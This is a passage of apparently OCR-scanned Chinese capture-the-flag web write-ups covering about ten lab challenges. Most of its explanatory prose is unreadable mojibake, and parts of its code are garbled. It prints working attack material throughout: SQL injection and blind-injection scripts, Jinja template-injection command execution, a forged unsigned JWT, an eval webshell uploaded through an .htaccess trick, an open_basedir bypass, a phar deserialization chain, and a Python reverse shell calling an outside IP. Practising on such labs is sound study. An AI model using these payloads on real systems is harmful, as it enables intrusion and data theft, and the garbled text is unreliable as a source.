‘config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");

if (isset($ GET['source'])) {
highlight file(basename($_SERVER[ 'PHP_SELF']));
exit();

$secret = bin2hex(random_bytes(64));
if (isset($ POST['guess'])) {
$guess = (string) $ POST[ 'guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is:
} else {

$message '"Wrong."';

THRZR R LB RR T, HRERMH LK basename$k
$_SERVER['PHP_SELF'] : ZREX4HT W mHbhk

basename() : iR [BIEEAE B SCH4EB 4
Hbasename i #E & £ # U & L HIIEASCIHE



<?php
function check($str){
return preg match('/config\.php\/*$/i', $str);

for($i=0;%$1<255;%i++){
$str="/index.php/config.php/".chr($i);
if(!check($str)){
echo $i.":".urlencode(chr($i)).":".basename($str);

echo "\n";

:config.php
:config.php
:config.php
:config.php
:config.php
:config.php ittps:/iblog.csdn.n

T X AN IE N 2 UCAE B #5°A config.php/ » BT LAKGIE 4 F payload BERESEE IEM, hi# & T basename

/index.php/config.php/%81?source

[CISCN2019 #1t 52X Day1 Web5]CyberPunk

M PR RS R file, JEINE SRS, DA PR UGERER
?file=php://filter/convert.base64-encode/resource=index.php
[FI#E IR BE 2 B confirm.php, delete.php, change.php, search.php
= B3 E & change.php



<?php
require_once "config.php";

if(!lempty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = "'
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load file|outfile/i';
$user_name = $ POST["user_name"];
$address = addslashes($ _POST["address"]);
$phone = $ POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!’;
}else{
$sql = "select * from “user® where “user name ='{$user name}' and " phone ='{$phone}'";
$fetch = $db->query($sql);

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update “user® set “address ='".$address."', “old address ='".$row['address']."' where “user_id" 4
".$row[ 'user_id"'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
¥
$msg = "ITEBEURIN";
} else {
= "RKBHTHELI";

T MEfhaddress R #3417 T addslashes B Hat i 17, FrUARI A S st Raddress, REXHA]

"update “user’ set “address ='".$address."', “old_address ='".$row[ 'address'].""' where “user_id =".$row['




TEEET, 14 IH#BESE Aold_addressFEEF AN, HULAT#TEN(address¥E 851 5N ERFATE R ', (HBEASEE ERE
& ', Prllold_addressii= B A1 A K $E)

AT — MBS \payload, flag /N 7E e

1'and updatexml(1l,concat(l, (load_file('/flag.txt"'))),1)#

1
111

i

=
<
-
-
-~

I

BEERBR K, HEHEH

< C M A 7% | 0b25938b-1345-4ea9-9531-de32e551d6ad.node3 . buuoj.cn/change.php

() BHEEHE( - *)o.. % BE—F, FEEME O HUCTF2020 [ BugkuCTF-&43¥& 4 cfshow AcFun32Es

errorXPATH syntax error: 'flag{28ca3a64-19ce-4dcca-b132-a3b’

ES KRR, FrightEEBUE 2885



1'and updatexml(l,concat(1l,right((load_file('/flag.txt')),30)),1)#

11T

QLTS

-
—
-
-
-
-~

*‘ #

|

= "H___.‘.

--..;(-‘

1'and updatexml(1,concat(1,right((load_file(/flag.txt)),30).1
- (QEEOE
——— [ https:/iblog.csdn.ne

& C m A TZE | 0b25938b-1345-4ea9-9531-de32e551d6ad.node3.buuoj.cn/change.php

() MEEEIE( - )0y BEE—F, FEENE O HUCTF2020 [ BugkuCTF-&3F& & ctfshow AcFUnZBEENSAM -.. [, xiaolc

errorXPATH syntax error: 'ce-4cca-b132-a3ba8aa8bed1} '

[ 5 4F 2018]Comment(££)

=

Z%wp, Sgititik, REBEWRE, ERTHRTREA QCCHF. o o Wi, NMZZEHE HFEE T I

[RCTF2015]EasySQL(4 <)

M T REBIEM I XBIEMA

[CSCCTF 2019 Qual]FlaskLight



BAREN, & Twp, HEAR

?search={{"''.__class__. mro_ [2]._subclasses_ ()[258]('ls',shell=True,stdout=-1).communicate()[@].strip()}}

BIRE A5G 2 BN, PLEFBXAS subprocess.Popen ZKREBF R TR RIWAHERE ALK
JEREIT H—FfEe:, AR Tglobalsy, FZRFEERGT T

?search={{[].__class__._bases_ [@]._ subclasses_ ()[].__init_['_ glo'+'bals_ ']J['__builtins__ "]['eval']("__imp

ort_ ('os').popen('ls').read()")}}

XA R R EZE K payload

?search={{[].__class__. bases_[@]. subclasses_ ()[].__init_[' glo'+'bals__ ']['__builtins__ 'J['eval']("__imp|

ort_ ('os').popen('cat /flasklight/coomme_geeeett youur flek').read()")}}

[HITCON 2017]SSRFme

<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $ SERVER['HTTP_X_ FORWARDED FOR']);
$_SERVER[ 'REMOTE_ADDR'] = $http_x_headers[0];

echo $_SERVER["REMOTE_ADDR"];

$sandbox = "sandbox/" . md5("orange" . $ SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);

$dir str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);

@chdir($dir);

@file_put_contents(basename($info[ "basename"]), $data);
highlight_file(__ FILE_ );

HhRAREE T, ulhPATHISEL filename N 81 & SC 4
pathinfo() RE—AREBHABEE path FIfER. BIFEUTHEATE:

e [dirame] /#4242
e [basename] /3144
o [extension] /¥ & 4
XHEIIGETRperlH /), GETREEEHZA T opentb 3, Aid T 2 5 T U 1E, 4 2P AT openiE A ,openif H 4 5 i Xk

file B
AT AR B — T, EREUR H

Purl=file:///&filename=a

151 sandbox/MD5 (orange+ip)/a



& @] ] A T=% | acac98e0-8asb-40a9-8308-49b9cfeecb4d.node3 buugj.cn/sandbox/d4661ca3584bf2a3108ac3d00aad97e8/a

() BHMEEHE( - )0 W BEE—F, FEEE ) HUCTF2020 (Y BugkuCTF-&£3F& & ctishow ACFUnEEMEM -.. [, xiaolong'sblog B EZTE - Bug

Directory listing of /

ko~

¢ .dockerenv

B, REilEidreadflagk3kEfag
AR —ANE N | /readflag FIX (X BEXNMEERFARBE. - o)
AR5 R BUX AN S

Purl=file:|/readflag&filename=b

< @] (A A +EFL | acac98e0-8adb-40a9-8308-49b9cfeect4d.node3 buuoj.cn/sandbox/d4661ca3584bf2a3108ac3d00aad97e8/b

(7)) BEEREE( - Yo f BE—F, EEE ) HUCTF2020 [ BugkuCTF-&3TE & ctfshow AcFUnSZEARM -.. [ xiaolong'sblog B E&TE

flag is flag{affd30le-ff61-47ba-306b-568ch4312ddd])

perl iz sF GE T 2 #ATIRIA ([HITCON 2017]SSRFme)

KR CE VI B

[HFCTF2020]EasyLogin


https://blog.csdn.net/qq_45521281/article/details/105868449

EMESR, #HEIflag, B E R Badming R4 Aflag. fEapp.jsH a2 <
EE AL adminE xR ? EMEBEE

usernarme=xiaolong&password=123456&authorization=eyJhbGaOUIUzINMilsInRScClEkpX W CI9.e )22 WNYZ X RpZ ClEM SwidK MlermShEWUIOl4aWFvb GOuZylsinBhe3M 3b3JkjoiMTIzMNDU 2liwia
WEOjoxMjlzMDcl OTowfQ. 2ITvStnIskP artTFBBESkhggzMITlsK oALgDNKFZE

RJEHERE KB 2w, MEHMELRT, higwikELHadming 3k

HEME—T

—lrevusu reuuuswu

HEADER:

eyJhbGeci01JIUzITNiIsInR5cCI6IkpXVCJI9. ey

JzZWNyZXRpZCI6MSwidXNlecmb5hbWUioiJ4aWFvb t L e
G9uZyIsInBhc3N3b3JkIjoiMTIZNDU2IiwiaWFe iyg T
TjoxNjIzMDc10TewfQ.2ITvStnIsKParvtTf8BE }

5khggzM1TIs1XoALGDNkZ8

PAYLOAD:

e": "xiaolong”,
1 "123456",
'iat": 1623075970

B 7 RCnone i BE R T XA, AR5 Kisecretidh [1 (XERMAE 2 M)

import jwt

‘token = jwt.encode(

{
"secretid": [],
"username": "admin",
"password": "123456",
"iat": 1590657826

¥

algorithm="none",key=""

)

print(token)

eyJ0eXAi10iJKV1QiLCIhbGci0iJub251In0.eylzZWNyZXRpZCI6W10sINVZzZXJuYW11IjoiYWRtaW4ilCIwYXNzd29yZCI6IjEyMzQINiIsImlh
dCIGMTUSMDY1NzgyNn@.

¥ o FOR I jwiak B8 ladmin®:
&% J5% T cookie, FHREEEIW 1S Fflag



GET /api/flag HTTP/1.1 A HTTP/1.1 200 OK :
Host: ca968449-7fc7-4503-98d0-29501bfclecB node3 buuaj.cn i Server: openresty |
User-Agent: Mozilla/5.0 (Windows MT 10.0; Wingd; x64; rn:89.0) Gecko/20100101 Date: Maon, 07 Jun 2021 14:47:37 GMT

Firefox/89.0 Content-Type: application/json; charset=utf-8

Accept: #/* Content-Length: 55

Accept-Language: zh-CN.zh;q=0.8zh-TW:q=07.zh-HK;q=0.5,en-US;q=03,en;q=0.2 Connection: close

K-Requested-\With: XMLHtpRequest

Connection: close {"flag":"flag{2foftlc2- Ifca-45687-892a- cbd77 dfeleed)'in”)

Referer: httz://ca968449-7fc7-4503-98d0-e0501fclecB node3 buuoj.cn/home

Cookie:

sses:aok=ey) 1c2VybrFEZ SIBImF kW uliwix 2V4cGlyZSIBMTYyzZE 2MZYSIDUOMSwix 2 Thek
FrZSIGODYOMDAWIDES; sses:ack.sig=bMNWxoZIftEPaP6_ROfImb0sFg

[GYCTF2020]Ezsqli

— R LLE B ES R ES, F sys.schema_table_statistics with_buffer /%% information_shema.tables
B it 38 T information, FrLAGiERRIF4, MRS LEAN

X BB Macsifi g, BRXFRF T BAL B

Se WA I3

1 ~ ( (select 1,2) > (select * from flag_1s_h3r3_hhhhh)) #Error Occured When Fetch Result.

1 ~ ( (select 1,2,3) > (select * from flag_1s_h3r3_hhhhh)) #bool(false)

R &I 25, FHilflagfe s =5l (ctifflag— A SR — S, ZRAHE I — 71 158 th il kst 7 1)
SRR T


https://xiaolong22333.top/index.php/archives/44/

import requests
import time
"http://2debclf8-a31b-4cd0-884b-e008c03d5dc3.node3.buuoj.cn/"

for i in range(1,300):
left = 1
right = 127
mid=int((left+right)/2)
while(left<right):
#payload['id'] = "1~(ascii(substr(database(),%d,1))<%d) '%(i,mid)
payload[ 'id"'] = '1”(ascii(substr((select(group_concat(table_name))from(sys.schema_table_ statistics_with
buffer)where(table schema=database())),%d,1))<%d) '%(i,mid)
r = requests.post(url=url,data=payload)
if 'NulL' in r.text:
left=mid+1
else:
right=mid
mid=int((left+right)/2)
flag+=chr(mid-1)
print(flag)

for i in range(1,300):
for j in range(1,128):
payload[ 'id'] = "@~((select '1','%s')>(select * from flag 1s h3r3_hhhhh))"%(flag+chr(j))
r = requests.post(url=url,data=payload)
time.sleep(0.03)
if 'NulL® in r.text:
print(flag+chr(j-1))
flag+=chr(j-1)
break

[SUCTF 2019]EasyWeb




<?php
function get the flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER[ 'REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
by
if(lempty($_FILES["file"])){
$tmp _name = $ FILES["file"]["tmp_name"];
$name = $ FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("~_~");
if(mb_strpos(file get contents($tmp_name), '<?')!==False) die("~_"");
if(lexif_imagetype($tmp_name)) die("~_~");
$path= $userdir."/".$name;
@move_uploaded file($tmp_name, $path);
print_r($path);

$hhh = @$_GET['_'];
if (1$hhh){

highlight_file(_ FILE_ );

if(strlen($hhh)>18){
die('One inch long, one inch strong!');

if ( preg_match('/[\x@0- 0-9A-Za-z\'"\ '~ &.,|=[\x7F]+/i', $hhh)

die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

RERFIREE KL, FEBMREME S
HAREENMSY, XEARRSE




<?php
function finds($string){
$index = 0;
$a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,13
8,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157, 158,159,160, 161,162, 163,164,165, 16
6,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,19
4,195,196,197,198,199, 200,201, 202,203,204, 205,206, 207,208, 209,210,211,212,213,214,215,216, 217,218,219, 220,221, 22
2,223,224,225,226,227,228,229,230,231,232,233, 234,235, 236,237,238, 239,240, 241,242,243, 244,245, 246,247 , 248, 249, 25
9,251,252,253,254,255];
for($i=27;%$i<count(%$a);$i++){
for($j=27;%j<count($a);$j++){
$x = ga[$i] ~ sa[$]j];
for($k = 0;%k<strlen($string);$k++){
if(ord($string[$k]) == $x){
echo $string[$k]."\n";
echo '%' . dechex($a[$i]) . '~%' . dechex($a[$j])."\n";
$index++;
if($index == strlen($string)){

return 0;

finds("_GET");

?>

${%86%86%86%86"%d9%c1%c3%d2 }{%86} () ;&%86=phpinfo
4% 86%86%86%86°%d9%C1%c3%d2 = GET

7% | aad7cad0-2f0d-4af5-91f4-d8d9212b65d8.node3.buuoj.cn/? =${° %861 %d9%c1%

6%

%d2)(9%86)

0:&%86=phpinfo & Ay g « M &=

FHAE O HUCTF2020 (B BugkuCTF-53F& & cifshow [ AcFuniEHUEM -.. ] xiaclong'sblog W@ ZE£TE-BugkuC. @ CTFERTE-CIFL. 0 BUUCTF

PHP Version 7.2.19-0ubuntu0.18.04.2 php

System Linux a0a8328fb304 4.19.164-0419164-generic #202012300642 SMP Wed Dec 30 12:21:09 UTC 2020
x86_64

Build Date Aug 12 2019 19:34:28

Server API Apache 2.0 Handler

Virtual Directory Support disabled

Configuration File (php.ini) Path fetc/php/7.2/apache2

Loaded Configuration File /fete/php/7.2/apache2/php.ini

Scan this dir for additional .ini files fete/php/7.2/apache2/conf.d

Additional .ini files parsed fetc/php/7.2/apache2/conf.d/10-opcache.ini, fetc/php/7.2/apache2/conf.d/10-pdo.ini,
/ete/php/7.2/apache2/conf.d/20-calendar.ini, /etc/php/7.2/apache2/conf.d/20-ctype.ini,
fetc/php/7.2/apache2/conf.d/20-exif.ini, /etc/php/7.2/apache2/conf.d/20-fileinfo.ini,
/ete/php/7.2/apache2/conf.d/20-ftp.ini, /fetc/php/7.2/apache2/conf.d/20-gettext.ini,
fetc/php/7.2/apache2/conf.d/20-iconv.ini, fetc/php/7.2/apache2/conf.d/20-json.ini,
/fete/php/7.2/apache2/conf.d/20-mbstring.ini, /etc/php/7.2/apache2/conf.d/20-phar.ini,
Iatr inhm 7 damarhad lrant AN _naciving fatelnhn 77 Yianarhad leand AN _rasdlina ini

BHY% T get_the_flag(), SARRZERATIEH XA
R GRS AR ER 4y
o VHEHAREHph

o MMFNAEANRLI<?

e exif imagetype& il 2% 2 E H



i@id phpinfor] Bk Bl Zapache, T LA bf% .htaccess3cfk , HFEESET exif_imagetype » BT PATESCMHFF kN ks LB R/ R
283 (#1E .htaccess F RN TERE)

ttdefine width 1337
ttdefine height 1337

FE, XEREEAGIFOARSTE, FAIXLil .htaccesstft TLiEMMT, WatkETIEH.
FEAAEE LAEphE R SCHE, BT DABEE AN B &AL Ulphpf@dr, FIR kS8 B base644uiig sk 5eid (1B 7] Lhutf-16besk 581t ),
SRIGTE .htaccess FF Hphpthth SUGHATAEND, TEENBZWT

.htaccess

ftdefine width 1337
ftdefine height 1337

AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.abc"

MiEAR D
<?php eval($ REQUEST['cmd']);?>

base64 4wl 5

PDOwaHAgZXZhbCgkX1JFUVVFU1RbI2NtZCddKTs/Pg==

b b Sofe kR ged
shell.abc

GIF89al2
PDOwaHAgZXZhbCgkX1JFUVVFU1RbI2NtZCddKTs/Pg==

Z T12R N T 28T, i Ebase64 il KN
RIE EAEXTEANMH, REMENHEEE —MexpTE T, RAET, ©B8F3) LE, B

< IDOCTYPE html>

<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POSTH##EBPOC</title>

<form action="http://aad7cade-2fod-4af5-91f4-d8d9212b65d8.node3.buuoj.cn/?_ =${%86%86%86%86"%d9%c1%c3%d2}{%86%}();

R%86=get_the_flag" method="post" enctype="multipart/form-data">
< - -BEERR METIT TR B R - >

<label for="file">3f4: </label>

<input type="file" name="file" id="file"><br>

=yl

<input type="submit" name="submit" value="{&xR">




& C M A T4 | aad7cad0-2f0d-4af5-91f4-d8d9212b65d8.node3.buuoj.cn/?_=${%

A%d9%c1% =get_the_flag

ACFUNSHESITAN -.. [l xiaolong'sblog 8 7 TH -BugkuC.. @ CTFEZTE-CTFT.

() BEEEOE( - ). o BET, FEME O HUCTF2020 (3 BugkuCTF-&£3F& £ cifshow

upload/tmp_2e15edd7163ab809335¢796d0ad7b218/ htaccess

md=phpinfo(); i) € oo} o=

<« C 0] A TE% | aad7cad0-2f0d-4af5-91f4-d8d9212b65d8.node3 buuoj.cn/upload/tmp_2e15edd7163ab809335¢796d0ad7b218/shell.abe

() BHERMEB( - °)o.. @ BEF, (FSME O HUCTF2020 [ BugkuCTF-%3F& & cifshow ACFUNM#EIIIM .. [l xiaolong'sblog P fEETE-BugkuC.. (@ CIFEETE-CIFT.. U BUUCTF

GIF89a12 PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==00|00v

PHP Version 7.2.19-Oubuntu0.18.04.2 E h p

System Linux a0a8328fb304 4.19.164-0419164-generic #202012300642 SMP Wed Dec 30 12:21:09 UTC 2020
x86_64

Build Date Aug 12 2019 19:34:28

Server API Apache 2.0 Handler

Virtual Directory Support disabled

Configuration File (php.ini) Path /etc/php/7.2/apache2

Loaded Configuration File [etc/php/7.2/apache2/php.ini

Scan this dir for additional .ini files Jetc/php/7.2/apache2/conf.d

Additional .ini files parsed Jetc/php/7.2/apache2/conf.d/10-opcache.ini, fetc/php/7.2/apache2/conf.d/10-pdo.ini,
[etc/php/7.2/apache2/conf.d/20-calendar.ini, /fetc/php/7.2/apache2/conf.d/20-ctype.ini,
letc/php/7.2/apache2/conf.d/20-exif.ini, /etc/pho/7.2/apache2/conf.d/20-fileinfo.ini,

REB N8, RRESTopen_basedir

Sy T vewiv
open_basedir Svarfwww/html/:/tmp/ Mvarfwww/html//tmp/
outnut huffarinn ANAA ANGA

bypass open_basedirf T J5 %
ARFEHEAKNE, AEET

?cmd=chdir('img');ini_set('open_basedir',"'..");chdir("'..");chdir("'..");chdir("'..");chdir('..");ini_set('open_bas

edir','/');var_dump(scandir('/'));

& C ® A F#% | aadicad0-2f0d-4af5-91f4-d8d9212b65d8.node3.buuoj.cn/upload/tmp_2e15edd7163ab809335¢796d0ad7b218/shell.abe/?cmd=chdir(%27img%2... 1§ « M = @& @
() BEEMAE (- ). & BE—N, (FEAIE O HUCTR2020 (Y BugkuCTF - #3F& & ctfshow ACFUnISEFN] - Jj xiaolong'sblog @ TR -BugkuC.. (@ CTFEZTEA-CTFL. U BUUCTF > | ) Eftew

GIF89a12 PDIwaHAGZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==00|00varray(25) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(16) "THis_Is tHe F14g" [4]=>
string(8) "bd_build" [5]=> string(3) "bin" [6]=> string(4) "boot" [7]=> string(8) "clean.sh” [8]=> string(3) "dev" [9]=> string(3) "etc" [10]=> string(4) "home" [11]=> string(3) "lib" [12]=> string(5)
*lib64" [13]=> string(5) "media” [14]=> string(3) "mnt" [15]=> string(3) "opt" [16]=> string(4) "proc” [17]=> string(4) "root” [18]=> string(3) "run” [19]=> string(4) "sbin" [20]=> string(3) "srv"
[21]=> string(3) "sys" [22]=> string(3) "tmp" [23]=> string(3) "usr" [24]=> string(3) "var" }

r('img');ini_set('open_basedir','..");chdir i 5 hdir('.."');ini_set('open_bas

','/");echo(file_get_contents('/THis_Is_tHe Fl14g'));


https://xz.aliyun.com/t/4720

< G ") A > | aad7cad0-2f0d-4af5-91f4-d8d9212b65d8.node3 . buusj.cn/u g 79 €

(9 BN ( - Yo, B BE—T, fEUIE O HUCTR2020 [ BugkuCTF - $3F& & ctfshow ACFUNSETMSAR] -.. i viaclong'sblog W@ TR -BugkuC.. (@ CTF B-CTFT. i BUUCTF

GIF89%a12 PD9waHAgZXZhbCgkX1JFUVVFUTRbJ2NtZCddKTs/Pg==00|00vflag{6e12f96f-0e1e-49eb-95df-388a1673d6be)

[SWPUCTF 2018]SimplePHP

BE SO AT AR S

//show_source(_FILE_);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
¥
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert(" LA&ERII!");</script>';
)i
function upload_file() {
global $ FILES;
if(upload_file_check()) {
upload _file do();

}
function upload_file_check() {

global $ FILES;
$allowed types = array("gif","jpeg","jpg","png");
$temp = explode(".",$ FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<ha>iEIEEFE BAERISCHF:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>";
return false;




header("content-type:text/html;charset=utf-8");
include 'function.php’;
include 'class.php';
ini_set('open_basedir','/var/www/html/");
$file = $ _GET["file"] ? $_GET['file']
if(empty($file)) {

echo "<h2>There is no file to show!<h2/>";
)i
$show = new Show();
if(file exists($file)) {

$show->source = $file;

$show->_ show();
} else if (!empty($file)){

die('file doesn\'t exists.'

public $test;
public $str;
public function __ construct($name)
{
$this->str = $name;
)
public function _ destruct()
{
$this->test = $this->str;
echo $this->test;

class Show
{
public $source;
public $str;
public function _ construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __ toString()
{
$content = $this->str['str']->source;
return $content;
}
public function _ set($key,$value)
{
$this->$key = $value;
}

public function _show()

{

if(preg match('/http|https|file:|gopher|dict|\.\.|flag/i',$this->source)) {
die('hacker!');
} else {




public function _ wakeup()

{
if(preg _match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";

$this->source = "index.php";

class Test

{
public $file;
public $params;
public function _ construct()

{

$this->params = array();

¥
public function _ get($key)

{
return $this->get($key);

¥
public function get($key)

{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";

}
return $this->file get($value);

}
public function file_ get($value)

{
$text = base64_encode(file_get contents($value));
return $text;

FEEFEclass.php

BIERLApharthil, fhittRpharRFFILERE T, BT RMRLE EAMEpopHE T

LRBIBRAWFIH L, & Test BHH file get /1L, BRI Llbase644milfh X%, FHHTesthA _ get ik, HHATA
FAN ATk ) 8 P BN R 1 1 & I it = i R

BT PAFIA _ get --> get($key) --> file get($value)

M Show B _ toString, Cledr FH echo $this->test , HFEiktesth—NREAEALK _ toString MIMifE _ get
pop#% N

Cledr::destruct() -> Show::toString() -> Test:: get()

B FF—iE

B %ik clear 5 $this->test Ashow, MK T  toString, #RJE $this->str['str']->source Hik $this-
sstr['str'] Ntest3, XEEFVTH TtestEh Hsource/@t, HXERANEERBEM, MMk  get

FaG & phar




public $test;
public $str;

class Show
{
public $source;

public $str;

class Test
{
public $file;

public $params;

new Cle4r();

new Show();

new Test();
$cledr->str = $show;//Flfecho $this->testfili’k  toString()
$show->str['str'] = $test;//FIH$this->str[ str']->sourcefili’k_ get
$test->params['source'] = "/var/www/html/flag.php";

$phar = new Phar("test.phar");

$phar->startBuffering();

$phar->setStub('<?php __ HALT COMPILER(); ? >');
$phar->setMetadata($cledr);
$phar->addFromString("test.txt", "test");//AEmME4
$phar->stopBuffering();

?>

R B BT phar S Ja R BUA gifR Seid FR il

EA% R HfEupload B REE X4 (RIS B W se AR 2 LT AT B TiHE 4 1))

< 2> O w A TZ2 | 020832cc-99f5-471a-83ee-e7e90be629d4.node3.buuoj.cn/upload/

() BHEENE (- )o. W EEF, FEEE O HUCTF2020 [ BugkuCTF-&3F= £ cfshow ACFuUnSEES AN -...

Index of /upload

Name Last modified Size Description

a Parent Directory N
41859a99918a3db4fc9260fa72eddd1d.jpg 2019-10-06 05:46 295

ada02c7f61857d1c446¢75017bd28a12 jpg 2021-06-10 13:21 304

Apache/2.4.18 (Ubuntu) Server at 0e0832cc-99f5-471a-83ee-e7e90beb29d4.node3. buuoj.cn Port 80

pharth iy i) kA& 5 301418 Bl base64 4 15 Hiflag

144 ¥aolong’s blog

e



< @] ) A FZE | 0e0832cc-99f5-471a-83ee-e7e90be629d4.node3 buuoj.cn/file.php?file=phar//upload/ada02c7f61857d1c446c75017bd28a12,jpg

() MBS (- )DL @ EE—F, FEEE O HUCTF2020 [ BugkuCTF-&3F& & cfshow [F ACFunBEMSAM -.. [ xaclongsblog W H£TE-BugkuC.. @ CTRERTE-CT
222.90.67.205

B BEEE o

<?php __HALT_COMPTLER(); ?>
PD9waHAgDQoJLy8KYSAIICAmbGFne2ZkNGJINWIOLTAIODItNDJIZCO4NDQyLTVIMThiOGU20TJjY30nOwOKID8+DQoNCg==

fETS18 Blflag

B3 H CX pop B MG IR R A MGk, WEWEHEEME R, HAZBEHRARKEHAR, BHAWERENTF, KR
W, ° (0 ° °.

[M 5 4% 2020 A 2 4 ]PicDown

url AT DAME & SR AL
BEBL /proc/self/cmdline (BEE HRiHREKPATH4L)RI app.py » BEH app.py
(buuiX BATLA.../...[...[...0.. [...]...MagdE Fi A B i Bt flag)



from flask import Flask, Response
from flask import render_template
from flask import request

import os

import urllib

app = Flask(__name_ )

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
0s.remove(SECRET_FILE)

@app.route('/")
def index():

return render_template('search.html')

@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers[ 'Content-Disposition'] = 'attachment; filename=beautiful.jpg’
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)

@app.route('/no_one_know_the_manager"')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"

return res

if name_ == ' _ main__ ':
app.run(host='0.0.0.0"', port=8080)

BRI RIBATTEE secret. txt H¥ SECRET_KEY , T secret.txt FEFEF LN SEE M MIER T
X BB R R S R




SR AT . File descriptor, {i#kfd, =M TR IERNZITITHTE — SRR, PSR B —ANSOP R A5 0 BLX AT IT AT B 3L
P, HfdAR st — AN e s, Lk, BR—ARIME, BRANENE - DH>ERET KZEETIT XRERE. SRFTIT A4
PR SO B — AN HOCHER, R R BEAR IR B — AN SO R A

linuxd T EKRE, REPWR-ABRFITH T —ADXCHEEERA, BEMISME (W os.remove(SECRET_FILE) ) MR 5, £
Iproc XANHAEHR) pid HX TH fd XXHERIRFF H R FTERSE XA AR fd, @i XA FRATEN 7T 45 2485 M BRSO N &

FrUAR] LLEIE /proc/self/fd/ BB, XANHFREE T ARTERTT IR — A ST U R RF

B SECRET_KEY 7E /proc/self/fd/3 H

GET /page?url=./././././ .0 /proc/self fd/3 HTTR/1.1 A HTTP/1.1 200 OK

Host: d04d2585-3b74-4bde-a6f7-dc026429c952 noded buuej.cn I Server: openresty

User-Agent: IMozilla/5.0 (Windows NT 10.0; Windd; x64; n:90.0) Gecko/20100101 Date: Sun, 25 Jul 2021 14:08:59 GMT

Firefox/90.0 Content-Type: application/octet-stream

Accept: tedt/html application/<htrml+xml. application/«ml.g=0.9image/vebp*/*q=08 Content-Length: 45

Accept-Language: zh-Ch.zh:q=0.8zh-TW:q=07.zh-HkK:g=05.en-U%;q=03.en:q=0.2 Connection: close

Connection: close Content-Disposition: attachment; filename=beautiful jpg
Referer: http://d04d2585-3b74-4bde-a6f7-dc026429d952 noded buuoj.cn/

Upgrade-Insecure-Requests: |1 War+6cS 16eck]SfETPz6AXzBesb2i+QDJumxDpjCulo=

BB FE Ashellst /T LT a4 T, (HEFEANEAEEE, 1Fpythonx#shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF INET,socket.SOCK _STREAM);s.connect(("47. *** *¥¥
JKEREN 19233));0s.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-

.sh

&

R IR HHE RN inux P K& B R T, RIEBAIEBWpRARAMIERLEH %, FHEEAKERN. . . KXKT



<?php
error_reporting(9);

if (isset($ GET[ 'source'])) {
show_source(_ FILE );
exit();

function is valid($str) {
$banword = [
// no path traversal
"NoWNe g
// no stream wrapper
"(php|file|glob|data|tp|zip|zlib|phar):",
// no data exfiltration
'flag'
1
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;

}

return true;

file_get_contents('php://input'); //body3RElpost#i#E
json_decode($body, true); //XfbodyZE&EiH1T]sonf#rY

if (is_valid($body) && isset($json) & isset($json['page'])) { //HWibodyZEEREAR, jsonFIEEHpage
$page = $json['page'];
$content = file_get contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";

}
} else {
$content = '<p>invalid request</p>';

// no data exfiltration!!!
$content = preg replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode([ 'content' => $content]);

52 ) Rjsonts XL 7R Lext
